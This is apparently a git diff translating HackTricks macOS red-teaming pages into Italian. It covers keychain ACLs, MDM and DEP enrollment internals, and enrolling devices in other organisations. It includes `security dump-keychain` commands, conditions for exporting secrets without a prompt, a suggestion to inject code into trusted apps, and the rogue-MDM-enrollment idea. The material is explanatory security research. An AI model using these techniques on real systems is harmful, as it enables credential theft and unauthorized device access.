If the **apple** is specified, then the app needs to be **signed** by **Apple**. -- If the **cdhash** is indicated, then **app** must have the specific **cdhash**. +- Se il **teamid** è specificato, allora per **accedere al valore** della voce **senza** un **prompt** l'applicazione utilizzata deve avere lo **stesso teamid**. +- Se l'**apple** è specificato, allora l'app deve essere **firmata** da **Apple**. +- Se il **cdhash** è indicato, allora l'**app** deve avere il **cdhash** specifico. ### Creating a Keychain Entry -When a **new** **entry** is created using **`Keychain Access.app`**, the following rules apply: +Quando viene creata una **nuova** **voce** utilizzando **`Keychain Access.app`**, si applicano le seguenti regole: -- All apps can encrypt. -- **No apps** can export/decrypt (without prompting the user). -- All apps can see the integrity check. -- No apps can change ACLs. -- The **partitionID** is set to **`apple`**. +- Tutte le app possono crittografare. +- **Nessuna app** può esportare/decrittografare (senza richiedere all'utente). +- Tutte le app possono vedere il controllo di integrità. +- Nessuna app può modificare le ACL. +- Il **partitionID** è impostato su **`apple`**. -When an **application creates an entry in the keychain**, the rules are slightly different: +Quando un'**applicazione crea una voce nel keychain**, le regole sono leggermente diverse: -- All apps can encrypt. -- Only the **creating application** (or any other apps explicitly added) can export/decrypt (without prompting the user). -- All apps can see the integrity check. -- No apps can change the ACLs. -- The **partitionID** is set to **`teamid:[teamID here]`**. +- Tutte le app possono crittografare. +- Solo l'**applicazione che crea** (o altre app esplicitamente aggiunte) può esportare/decrittografare (senza richiedere all'utente). +- Tutte le app possono vedere il controllo di integrità. +- Nessuna app può modificare le ACL. +- Il **partitionID** è impostato su **`teamid:[teamID here]`**. ## Accessing the Keychain ### `security` - ```bash # List keychains security list-keychains @@ -74,58 +73,57 @@ security set-generic-password-parition-list -s "test service" -a "test acount" - # Dump specifically the user keychain security dump-keychain ~/Library/Keychains/login.keychain-db ``` - ### APIs > [!TIP] -> The **keychain enumeration and dumping** of secrets that **won't generate a prompt** can be done with the tool [**LockSmith**](https://github.com/its-a-feature/LockSmith) +> L'**enumerazione e il dumping** del keychain di segreti che **non genereranno un prompt** possono essere effettuati con lo strumento [**LockSmith**](https://github.com/its-a-feature/LockSmith) > -> Other API endpoints can be found in [**SecKeyChain.h**](https://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55017/lib/SecKeychain.h.auto.html) source code. +> Altri endpoint API possono essere trovati nel codice sorgente di [**SecKeyChain.h**](https://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55017/lib/SecKeychain.h.auto.html). -List and get **info** about each keychain entry using the **Security Framework** or you could also check the Apple's open source cli tool [**security**](https://opensource.apple.com/source/Security/Security-59306.61.1/SecurityTool/macOS/security.c.auto.html)**.** Some API examples: +Elenca e ottieni **info** su ciascun elemento del keychain utilizzando il **Security Framework** oppure puoi anche controllare lo strumento cli open source di Apple [**security**](https://opensource.apple.com/source/Security/Security-59306.61.1/SecurityTool/macOS/security.c.auto.html)**.** Alcuni esempi di API: -- The API **`SecItemCopyMatching`** gives info about each entry and there are some attributes you can set when using it: - - **`kSecReturnData`**: If true, it will try to decrypt the data (set to false to avoid potential pop-ups) - - **`kSecReturnRef`**: Get also reference to keychain item (set to true in case later you see you can decrypt without pop-up) - - **`kSecReturnAttributes`**: Get metadata about entries - - **`kSecMatchLimit`**: How many results to return - - **`kSecClass`**: What kind of keychain entry +- L'API **`SecItemCopyMatching`** fornisce informazioni su ciascun elemento e ci sono alcuni attributi che puoi impostare quando la utilizzi: +- **`kSecReturnData`**: Se vero, tenterà di decrittografare i dati (imposta su falso per evitare potenziali pop-up) +- **`kSecReturnRef`**: Ottieni anche un riferimento all'elemento del keychain (imposta su vero nel caso in cui successivamente vedi che puoi decrittografare senza pop-up) +- **`kSecReturnAttributes`**: Ottieni metadati sugli elementi +- **`kSecMatchLimit`**: Quanti risultati restituire +- **`kSecClass`**: Che tipo di elemento del keychain -Get **ACLs** of each entry: +Ottieni **ACL** di ciascun elemento: -- With the API **`SecAccessCopyACLList`** you can get the **ACL for the keychain item**, and it will return a list of ACLs (like `ACLAuhtorizationExportClear` and the others previously mentioned) where each list has: - - Description - - **Trusted Application List**. This could be: - - An app: /Applications/Slack.app - - A binary: /usr/libexec/airportd - - A group: group://AirPort +- Con l'API **`SecAccessCopyACLList`** puoi ottenere l'**ACL per l'elemento del keychain**, e restituirà un elenco di ACL (come `ACLAuhtorizationExportClear` e gli altri precedentemente menzionati) dove ciascun elenco ha: +- Descrizione +- **Elenco delle Applicazioni Affidabili**. Questo potrebbe essere: +- Un'app: /Applications/Slack.app +- Un binario: /usr/libexec/airportd +- Un gruppo: group://AirPort -Export the data: +Esporta i dati: -- The API **`SecKeychainItemCopyContent`** gets the plaintext -- The API **`SecItemExport`** exports the keys and certificates but might have to set passwords to export the content encrypted +- L'API **`SecKeychainItemCopyContent`** ottiene il testo in chiaro +- L'API **`SecItemExport`** esporta le chiavi e i certificati ma potrebbe essere necessario impostare le password per esportare il contenuto crittografato -And these are the **requirements** to be able to **export a secret without a prompt**: +E questi sono i **requisiti** per poter **esportare un segreto senza un prompt**: -- If **1+ trusted** apps listed: - - Need the appropriate **authorizations** (**`Nil`**, or be **part** of the allowed list of apps in the authorization to access the secret info) - - Need code signature to match **PartitionID** - - Need code signature to match that of one **trusted app** (or be a member of the right KeychainAccessGroup) -- If **all applications trusted**: - - Need the appropriate **authorizations** - - Need code signature to match **PartitionID** - - If **no PartitionID**, then this isn't needed +- Se ci sono **1+ app affidabili** elencate: +- Necessita delle appropriate **autorizzazioni** (**`Nil`**, o essere **parte** dell'elenco consentito di app nell'autorizzazione per accedere alle informazioni segrete) +- Necessita che la firma del codice corrisponda al **PartitionID** +- Necessita che la firma del codice corrisponda a quella di un **app affidabile** (o essere un membro del giusto KeychainAccessGroup) +- Se **tutte le applicazioni sono affidabili**: +- Necessita delle appropriate **autorizzazioni** +- Necessita che la firma del codice corrisponda al **PartitionID** +- Se **nessun PartitionID**, allora questo non è necessario > [!CAUTION] -> Therefore, if there is **1 application listed**, you need to **inject code in that application**. +> Pertanto, se c'è **1 applicazione elencata**, è necessario **iniettare codice in quell'applicazione**. > -> If **apple** is indicated in the **partitionID**, you could access it with **`osascript`** so anything that is trusting all applications with apple in the partitionID. **`Python`** could also be used for this. +> Se **apple** è indicato nel **partitionID**, potresti accedervi con **`osascript`** quindi qualsiasi cosa che stia fidandosi di tutte le applicazioni con apple nel partitionID. **`Python`** potrebbe essere utilizzato anche per questo. -### Two additional attributes +### Due attributi aggiuntivi -- **Invisible**: It's a boolean flag to **hide** the entry from the **UI** Keychain app -- **General**: It's to store **metadata** (so it's NOT ENCRYPTED) - - Microsoft was storing in plain text all the refresh tokens to access sensitive endpoint. +- **Invisible**: È un flag booleano per **nascondere** l'elemento dall'app Keychain **UI** +- **General**: Serve a memorizzare **metadati** (quindi NON è CRITTOGRAFATO) +- Microsoft memorizzava in testo chiaro tutti i token di aggiornamento per accedere a endpoint sensibili. ## References diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md index 1a4f69c6e..6977812dc 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md @@ -2,199 +2,199 @@ {{#include ../../../banners/hacktricks-training.md}} -**To learn about macOS MDMs check:** +**Per saperne di più sugli MDM di macOS, controlla:** - [https://www.youtube.com/watch?v=ku8jZe-MHUU](https://www.youtube.com/watch?v=ku8jZe-MHUU) - [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe) -## Basics +## Fondamenti -### **MDM (Mobile Device Management) Overview** +### **Panoramica di MDM (Mobile Device Management)** -[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) is utilized for overseeing various end-user devices like smartphones, laptops, and tablets. Particularly for Apple's platforms (iOS, macOS, tvOS), it involves a set of specialized features, APIs, and practices. The operation of MDM hinges on a compatible MDM server, which is either commercially available or open-source, and must support the [MDM Protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Key points include: +[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) è utilizzato per supervisionare vari dispositivi finali come smartphone, laptop e tablet. In particolare per le piattaforme Apple (iOS, macOS, tvOS), coinvolge un insieme di funzionalità specializzate, API e pratiche. Il funzionamento dell'MDM si basa su un server MDM compatibile, che è disponibile commercialmente o open-source, e deve supportare il [MDM Protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). I punti chiave includono: -- Centralized control over devices. -- Dependence on an MDM server that adheres to the MDM protocol. -- Capability of the MDM server to dispatch various commands to devices, for instance, remote data erasure or configuration installation. +- Controllo centralizzato sui dispositivi. +- Dipendenza da un server MDM che aderisca al protocollo MDM. +- Capacità del server MDM di inviare vari comandi ai dispositivi, ad esempio, cancellazione remota dei dati o installazione di configurazioni. -### **Basics of DEP (Device Enrollment Program)** +### **Fondamenti del DEP (Device Enrollment Program)** -The [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) offered by Apple streamlines the integration of Mobile Device Management (MDM) by facilitating zero-touch configuration for iOS, macOS, and tvOS devices. DEP automates the enrollment process, allowing devices to be operational right out of the box, with minimal user or administrative intervention. Essential aspects include: +Il [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) offerto da Apple semplifica l'integrazione del Mobile Device Management (MDM) facilitando la configurazione senza contatto per dispositivi iOS, macOS e tvOS. Il DEP automatizza il processo di registrazione, consentendo ai dispositivi di essere operativi subito dopo l'apertura della confezione, con un intervento minimo da parte dell'utente o dell'amministratore. Gli aspetti essenziali includono: -- Enables devices to autonomously register with a pre-defined MDM server upon initial activation. -- Primarily beneficial for brand-new devices, but also applicable for devices undergoing reconfiguration. -- Facilitates a straightforward setup, making devices ready for organizational use swiftly. +- Consente ai dispositivi di registrarsi autonomamente con un server MDM predefinito al momento dell'attivazione iniziale. +- Principalmente vantaggioso per dispositivi nuovi, ma applicabile anche a dispositivi in fase di riconfigurazione. +- Facilita una configurazione semplice, rendendo i dispositivi pronti per l'uso organizzativo rapidamente. -### **Security Consideration** +### **Considerazione sulla Sicurezza** -It's crucial to note that the ease of enrollment provided by DEP, while beneficial, can also pose security risks. If protective measures are not adequately enforced for MDM enrollment, attackers might exploit this streamlined process to register their device on the organization's MDM server, masquerading as a corporate device. +È fondamentale notare che la facilità di registrazione fornita dal DEP, sebbene vantaggiosa, può anche comportare rischi per la sicurezza. Se le misure protettive non sono adeguatamente applicate per la registrazione MDM, gli attaccanti potrebbero sfruttare questo processo semplificato per registrare il proprio dispositivo sul server MDM dell'organizzazione, spacciandosi per un dispositivo aziendale. > [!CAUTION] -> **Security Alert**: Simplified DEP enrollment could potentially allow unauthorized device registration on the organization's MDM server if proper safeguards are not in place. +> **Avviso di Sicurezza**: La registrazione semplificata del DEP potrebbe consentire la registrazione non autorizzata di dispositivi sul server MDM dell'organizzazione se non sono in atto le giuste misure di protezione. -### Basics What is SCEP (Simple Certificate Enrolment Protocol)? +### Fondamenti Cos'è SCEP (Simple Certificate Enrollment Protocol)? -- A relatively old protocol, created before TLS and HTTPS were widespread. -- Gives clients a standardized way of sending a **Certificate Signing Request** (CSR) for the purpose of being granted a certificate. The client will ask the server to give him a signed certificate. +- Un protocollo relativamente vecchio, creato prima che TLS e HTTPS fossero diffusi. +- Fornisce ai client un modo standardizzato per inviare una **Certificate Signing Request** (CSR) al fine di ottenere un certificato. Il client chiederà al server di fornirgli un certificato firmato. -### What are Configuration Profiles (aka mobileconfigs)? +### Cosa sono i Profili di Configurazione (aka mobileconfigs)? -- Apple’s official way of **setting/enforcing system configuration.** -- File format that can contain multiple payloads. -- Based on property lists (the XML kind). -- “can be signed and encrypted to validate their origin, ensure their integrity, and protect their contents.” Basics — Page 70, iOS Security Guide, January 2018. +- Il modo ufficiale di Apple per **impostare/applicare la configurazione di sistema.** +- Formato di file che può contenere più payload. +- Basato su elenchi di proprietà (il tipo XML). +- “possono essere firmati e crittografati per convalidare la loro origine, garantire la loro integrità e proteggere i loro contenuti.” Fondamenti — Pagina 70, iOS Security Guide, gennaio 2018. -## Protocols +## Protocolli ### MDM -- Combination of APNs (**Apple server**s) + RESTful API (**MDM** **vendor** servers) -- **Communication** occurs between a **device** and a server associated with a **device** **management** **product** -- **Commands** delivered from the MDM to the device in **plist-encoded dictionaries** -- All over **HTTPS**. MDM servers can be (and are usually) pinned. -- Apple grants the MDM vendor an **APNs certificate** for authentication +- Combinazione di APNs (**server Apple**) + API RESTful (**server fornitori MDM**) +- **Comunicazione** avviene tra un **dispositivo** e un server associato a un **prodotto di gestione dei dispositivi** +- **Comandi** inviati dall'MDM al dispositivo in **dizionari codificati plist** +- Tutto su **HTTPS**. I server MDM possono essere (e di solito sono) pinati. +- Apple concede al fornitore MDM un **certificato APNs** per l'autenticazione ### DEP -- **3 APIs**: 1 for resellers, 1 for MDM vendors, 1 for device identity (undocumented): - - The so-called [DEP "cloud service" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). This is used by MDM servers to associate DEP profiles with specific devices. - - The [DEP API used by Apple Authorized Resellers](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) to enroll devices, check enrollment status, and check transaction status. - - The undocumented private DEP API. This is used by Apple Devices to request their DEP profile. On macOS, the `cloudconfigurationd` binary is responsible for communicating over this API. -- More modern and **JSON** based (vs. plist) -- Apple grants an **OAuth token** to the MDM vendor +- **3 API**: 1 per rivenditori, 1 per fornitori MDM, 1 per identità del dispositivo (non documentata): +- La cosiddetta [API "cloud service" DEP](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Questa è utilizzata dai server MDM per associare i profili DEP a dispositivi specifici. +- L'[API DEP utilizzata dai Rivenditori Autorizzati Apple](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) per registrare dispositivi, controllare lo stato di registrazione e controllare lo stato delle transazioni. +- L'API DEP privata non documentata. Questa è utilizzata dai dispositivi Apple per richiedere il proprio profilo DEP. Su macOS, il binario `cloudconfigurationd` è responsabile della comunicazione su questa API. +- Più moderna e basata su **JSON** (rispetto a plist) +- Apple concede un **token OAuth** al fornitore MDM -**DEP "cloud service" API** +**API "cloud service" DEP** - RESTful -- sync device records from Apple to the MDM server -- sync “DEP profiles” to Apple from the MDM server (delivered by Apple to the device later on) -- A DEP “profile” contains: - - MDM vendor server URL - - Additional trusted certificates for server URL (optional pinning) - - Extra settings (e.g. which screens to skip in Setup Assistant) +- sincronizza i record dei dispositivi da Apple al server MDM +- sincronizza i “profili DEP” da Apple al server MDM (forniti da Apple al dispositivo in seguito) +- Un “profilo” DEP contiene: +- URL del server del fornitore MDM +- Certificati aggiuntivi di fiducia per l'URL del server (pinning opzionale) +- Impostazioni extra (ad es. quali schermate saltare nell'Assistente Configurazione) -## Serial Number +## Numero di Serie -Apple devices manufactured after 2010 generally have **12-character alphanumeric** serial numbers, with the **first three digits representing the manufacturing location**, the following **two** indicating the **year** and **week** of manufacture, the next **three** digits providing a **unique** **identifier**, and the **last** **four** digits representing the **model number**. +I dispositivi Apple prodotti dopo il 2010 hanno generalmente numeri di serie **alfanumerici di 12 caratteri**, con le **prime tre cifre che rappresentano il luogo di produzione**, le successive **due** che indicano l'**anno** e la **settimana** di produzione, le successive **tre** cifre forniscono un **identificatore unico**, e le **ultime** **quattro** cifre rappresentano il **numero di modello**. {{#ref}} macos-serial-number.md {{#endref}} -## Steps for enrolment and management +## Passaggi per la registrazione e la gestione -1. Device record creation (Reseller, Apple): The record for the new device is created -2. Device record assignment (Customer): The device is assigned to a MDM server -3. Device record sync (MDM vendor): MDM sync the device records and push the DEP profiles to Apple -4. DEP check-in (Device): Device gets his DEP profile -5. Profile retrieval (Device) -6. Profile installation (Device) a. incl. MDM, SCEP and root CA payloads -7. MDM command issuance (Device) +1. Creazione del record del dispositivo (Rivenditore, Apple): Viene creato il record per il nuovo dispositivo +2. Assegnazione del record del dispositivo (Cliente): Il dispositivo viene assegnato a un server MDM +3. Sincronizzazione del record del dispositivo (fornitore MDM): MDM sincronizza i record dei dispositivi e invia i profili DEP ad Apple +4. Check-in DEP (Dispositivo): Il dispositivo ottiene il suo profilo DEP +5. Recupero del profilo (Dispositivo) +6. Installazione del profilo (Dispositivo) a. incl. payload MDM, SCEP e root CA +7. Emissione del comando MDM (Dispositivo) ![](<../../../images/image (694).png>) -The file `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` exports functions that can be considered **high-level "steps"** of the enrolment process. +Il file `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` esporta funzioni che possono essere considerate **"passaggi" di alto livello** del processo di registrazione. -### Step 4: DEP check-in - Getting the Activation Record +### Passo 4: Check-in DEP - Ottenere il Record di Attivazione -This part of the process occurs when a **user boots a Mac for the first time** (or after a complete wipe) +Questa parte del processo si verifica quando un **utente avvia un Mac per la prima volta** (o dopo un ripristino completo) ![](<../../../images/image (1044).png>) -or when executing `sudo profiles show -type enrollment` +o quando si esegue `sudo profiles show -type enrollment` -- Determine **whether device is DEP enabled** -- Activation Record is the internal name for **DEP “profile”** -- Begins as soon as the device is connected to Internet -- Driven by **`CPFetchActivationRecord`** -- Implemented by **`cloudconfigurationd`** via XPC. The **"Setup Assistant**" (when the device is firstly booted) or the **`profiles`** command will **contact this daemon** to retrieve the activation record. - - LaunchDaemon (always runs as root) +- Determina **se il dispositivo è abilitato per DEP** +- Il Record di Attivazione è il nome interno per il **"profilo" DEP** +- Inizia non appena il dispositivo è connesso a Internet +- Guidato da **`CPFetchActivationRecord`** +- Implementato da **`cloudconfigurationd`** tramite XPC. L'**"Assistente Configurazione"** (quando il dispositivo viene avviato per la prima volta) o il comando **`profiles`** contatteranno questo demone per recuperare il record di attivazione. +- LaunchDaemon (gira sempre come root) -It follows a few steps to get the Activation Record performed by **`MCTeslaConfigurationFetcher`**. This process uses an encryption called **Absinthe** +Segue alcuni passaggi per ottenere il Record di Attivazione eseguiti da **`MCTeslaConfigurationFetcher`**. Questo processo utilizza una crittografia chiamata **Absinthe** -1. Retrieve **certificate** - 1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer) -2. **Initialize** state from certificate (**`NACInit`**) - 1. Uses various device-specific data (i.e. **Serial Number via `IOKit`**) -3. Retrieve **session key** - 1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session) -4. Establish the session (**`NACKeyEstablishment`**) -5. Make the request - 1. POST to [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) sending the data `{ "action": "RequestProfileConfiguration", "sn": "" }` - 2. The JSON payload is encrypted using Absinthe (**`NACSign`**) - 3. All requests over HTTPs, built-in root certificates are used +1. Recupera **certificato** +1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer) +2. **Inizializza** lo stato dal certificato (**`NACInit`**) +1. Utilizza vari dati specifici del dispositivo (ad es. **Numero di Serie tramite `IOKit`**) +3. Recupera **chiave di sessione** +1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session) +4. Stabilisce la sessione (**`NACKeyEstablishment`**) +5. Effettua la richiesta +1. POST a [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) inviando i dati `{ "action": "RequestProfileConfiguration", "sn": "" }` +2. Il payload JSON è crittografato utilizzando Absinthe (**`NACSign`**) +3. Tutte le richieste su HTTPs, vengono utilizzati certificati root integrati ![](<../../../images/image (566) (1).png>) -The response is a JSON dictionary with some important data like: +La risposta è un dizionario JSON con alcuni dati importanti come: -- **url**: URL of the MDM vendor host for the activation profile -- **anchor-certs**: Array of DER certificates used as trusted anchors +- **url**: URL dell'host del fornitore MDM per il profilo di attivazione +- **anchor-certs**: Array di certificati DER utilizzati come ancore fidate -### **Step 5: Profile Retrieval** +### **Passo 5: Recupero del Profilo** ![](<../../../images/image (444).png>) -- Request sent to **url provided in DEP profile**. -- **Anchor certificates** are used to **evaluate trust** if provided. - - Reminder: the **anchor_certs** property of the DEP profile -- **Request is a simple .plist** with device identification - - Examples: **UDID, OS version**. -- CMS-signed, DER-encoded -- Signed using the **device identity certificate (from APNS)** -- **Certificate chain** includes expired **Apple iPhone Device CA** +- Richiesta inviata all'**url fornito nel profilo DEP**. +- **Certificati ancorati** sono utilizzati per **valutare la fiducia** se forniti. +- Promemoria: la proprietà **anchor_certs** del profilo DEP +- **La richiesta è un semplice .plist** con identificazione del dispositivo +- Esempi: **UDID, versione OS**. +- Firmato CMS, codificato DER +- Firmato utilizzando il **certificato di identità del dispositivo (da APNS)** +- La **catena di certificati** include un **Apple iPhone Device CA** scaduto -![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>) +![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>) -### Step 6: Profile Installation +### Passo 6: Installazione del Profilo -- Once retrieved, **profile is stored on the system** -- This step begins automatically (if in **setup assistant**) -- Driven by **`CPInstallActivationProfile`** -- Implemented by mdmclient over XPC - - LaunchDaemon (as root) or LaunchAgent (as user), depending on context -- Configuration profiles have multiple payloads to install -- Framework has a plugin-based architecture for installing profiles -- Each payload type is associated with a plugin - - Can be XPC (in framework) or classic Cocoa (in ManagedClient.app) -- Example: - - Certificate Payloads use CertificateService.xpc +- Una volta recuperato, **il profilo viene memorizzato nel sistema** +- Questo passaggio inizia automaticamente (se nell'**assistente di configurazione**) +- Guidato da **`CPInstallActivationProfile`** +- Implementato da mdmclient tramite XPC +- LaunchDaemon (come root) o LaunchAgent (come utente), a seconda del contesto +- I profili di configurazione hanno più payload da installare +- Il framework ha un'architettura basata su plugin per l'installazione dei profili +- Ogni tipo di payload è associato a un plugin +- Può essere XPC (nel framework) o Cocoa classico (in ManagedClient.app) +- Esempio: +- I payload dei certificati utilizzano CertificateService.xpc -Typically, **activation profile** provided by an MDM vendor will **include the following payloads**: +Tipicamente, il **profilo di attivazione** fornito da un fornitore MDM includerà i seguenti payload: -- `com.apple.mdm`: to **enroll** the device in MDM -- `com.apple.security.scep`: to securely provide a **client certificate** to the device. -- `com.apple.security.pem`: to **install trusted CA certificates** to the device’s System Keychain. -- Installing the MDM payload equivalent to **MDM check-in in the documentation** -- Payload **contains key properties**: -- - MDM Check-In URL (**`CheckInURL`**) - - MDM Command Polling URL (**`ServerURL`**) + APNs topic to trigger it -- To install MDM payload, request is sent to **`CheckInURL`** -- Implemented in **`mdmclient`** -- MDM payload can depend on other payloads -- Allows **requests to be pinned to specific certificates**: - - Property: **`CheckInURLPinningCertificateUUIDs`** - - Property: **`ServerURLPinningCertificateUUIDs`** - - Delivered via PEM payload -- Allows device to be attributed with an identity certificate: - - Property: IdentityCertificateUUID - - Delivered via SCEP payload +- `com.apple.mdm`: per **registrare** il dispositivo nell'MDM +- `com.apple.security.scep`: per fornire in modo sicuro un **certificato client** al dispositivo. +- `com.apple.security.pem`: per **installare certificati CA fidati** nel portachiavi di sistema del dispositivo. +- L'installazione del payload MDM è equivalente al **check-in MDM nella documentazione** +- Il payload **contiene proprietà chiave**: +- - URL di Check-In MDM (**`CheckInURL`**) +- URL di polling dei comandi MDM (**`ServerURL`**) + argomento APNs per attivarlo +- Per installare il payload MDM, viene inviata una richiesta a **`CheckInURL`** +- Implementato in **`mdmclient`** +- Il payload MDM può dipendere da altri payload +- Consente **richieste di essere pinati a certificati specifici**: +- Proprietà: **`CheckInURLPinningCertificateUUIDs`** +- Proprietà: **`ServerURLPinningCertificateUUIDs`** +- Fornito tramite payload PEM +- Consente al dispositivo di essere attribuito con un certificato di identità: +- Proprietà: IdentityCertificateUUID +- Fornito tramite payload SCEP -### **Step 7: Listening for MDM commands** +### **Passo 7: Ascoltare i comandi MDM** -- After MDM check-in is complete, vendor can **issue push notifications using APNs** -- Upon receipt, handled by **`mdmclient`** -- To poll for MDM commands, request is sent to ServerURL -- Makes use of previously installed MDM payload: - - **`ServerURLPinningCertificateUUIDs`** for pinning request - - **`IdentityCertificateUUID`** for TLS client certificate +- Dopo che il check-in MDM è completo, il fornitore può **emissione notifiche push utilizzando APNs** +- Al ricevimento, gestito da **`mdmclient`** +- Per interrogare i comandi MDM, viene inviata una richiesta a ServerURL +- Utilizza il payload MDM precedentemente installato: +- **`ServerURLPinningCertificateUUIDs`** per la richiesta di pinning +- **`IdentityCertificateUUID`** per il certificato client TLS -## Attacks +## Attacchi -### Enrolling Devices in Other Organisations +### Registrazione di Dispositivi in Altre Organizzazioni -As previously commented, in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ -Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected: +Come commentato in precedenza, per cercare di registrare un dispositivo in un'organizzazione **è necessario solo un Numero di Serie appartenente a quell'Organizzazione**. Una volta che il dispositivo è registrato, diverse organizzazioni installeranno dati sensibili sul nuovo dispositivo: certificati, applicazioni, password WiFi, configurazioni VPN [e così via](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ +Pertanto, questo potrebbe essere un pericoloso punto di ingresso per gli attaccanti se il processo di registrazione non è correttamente protetto: {{#ref}} enrolling-devices-in-other-organisations.md diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md b/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md index 19851b925..9d42c2e6b 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md @@ -1,53 +1,53 @@ -# Enrolling Devices in Other Organisations +# Iscrizione dei Dispositivi in Altre Organizzazioni {{#include ../../../banners/hacktricks-training.md}} -## Intro +## Introduzione -As [**previously commented**](./#what-is-mdm-mobile-device-management)**,** in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ -Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected. +Come [**commentato in precedenza**](./#what-is-mdm-mobile-device-management)**,** per cercare di iscrivere un dispositivo in un'organizzazione **è necessario solo un Numero di Serie appartenente a quell'Organizzazione**. Una volta che il dispositivo è iscritto, diverse organizzazioni installeranno dati sensibili sul nuovo dispositivo: certificati, applicazioni, password WiFi, configurazioni VPN [e così via](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ +Pertanto, questo potrebbe essere un punto di ingresso pericoloso per gli attaccanti se il processo di iscrizione non è correttamente protetto. -**The following is a summary of the research [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe). Check it for further technical details!** +**Di seguito è riportato un riepilogo della ricerca [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe). Controllalo per ulteriori dettagli tecnici!** -## Overview of DEP and MDM Binary Analysis +## Panoramica dell'Analisi Binaria di DEP e MDM -This research delves into the binaries associated with the Device Enrollment Program (DEP) and Mobile Device Management (MDM) on macOS. Key components include: +Questa ricerca approfondisce i binari associati al Programma di Iscrizione dei Dispositivi (DEP) e alla Gestione dei Dispositivi Mobili (MDM) su macOS. I componenti chiave includono: -- **`mdmclient`**: Communicates with MDM servers and triggers DEP check-ins on macOS versions before 10.13.4. -- **`profiles`**: Manages Configuration Profiles, and triggers DEP check-ins on macOS versions 10.13.4 and later. -- **`cloudconfigurationd`**: Manages DEP API communications and retrieves Device Enrollment profiles. +- **`mdmclient`**: Comunica con i server MDM e attiva i check-in DEP su versioni di macOS precedenti a 10.13.4. +- **`profiles`**: Gestisce i Profili di Configurazione e attiva i check-in DEP su versioni di macOS 10.13.4 e successive. +- **`cloudconfigurationd`**: Gestisce le comunicazioni API DEP e recupera i profili di iscrizione dei dispositivi. -DEP check-ins utilize the `CPFetchActivationRecord` and `CPGetActivationRecord` functions from the private Configuration Profiles framework to fetch the Activation Record, with `CPFetchActivationRecord` coordinating with `cloudconfigurationd` through XPC. +I check-in DEP utilizzano le funzioni `CPFetchActivationRecord` e `CPGetActivationRecord` dal framework privato dei Profili di Configurazione per recuperare il Record di Attivazione, con `CPFetchActivationRecord` che coordina con `cloudconfigurationd` tramite XPC. -## Tesla Protocol and Absinthe Scheme Reverse Engineering +## Ingegneria Inversa del Protocollo Tesla e dello Schema Absinthe -The DEP check-in involves `cloudconfigurationd` sending an encrypted, signed JSON payload to _iprofiles.apple.com/macProfile_. The payload includes the device's serial number and the action "RequestProfileConfiguration". The encryption scheme used is referred to internally as "Absinthe". Unraveling this scheme is complex and involves numerous steps, which led to exploring alternative methods for inserting arbitrary serial numbers in the Activation Record request. +Il check-in DEP comporta l'invio da parte di `cloudconfigurationd` di un payload 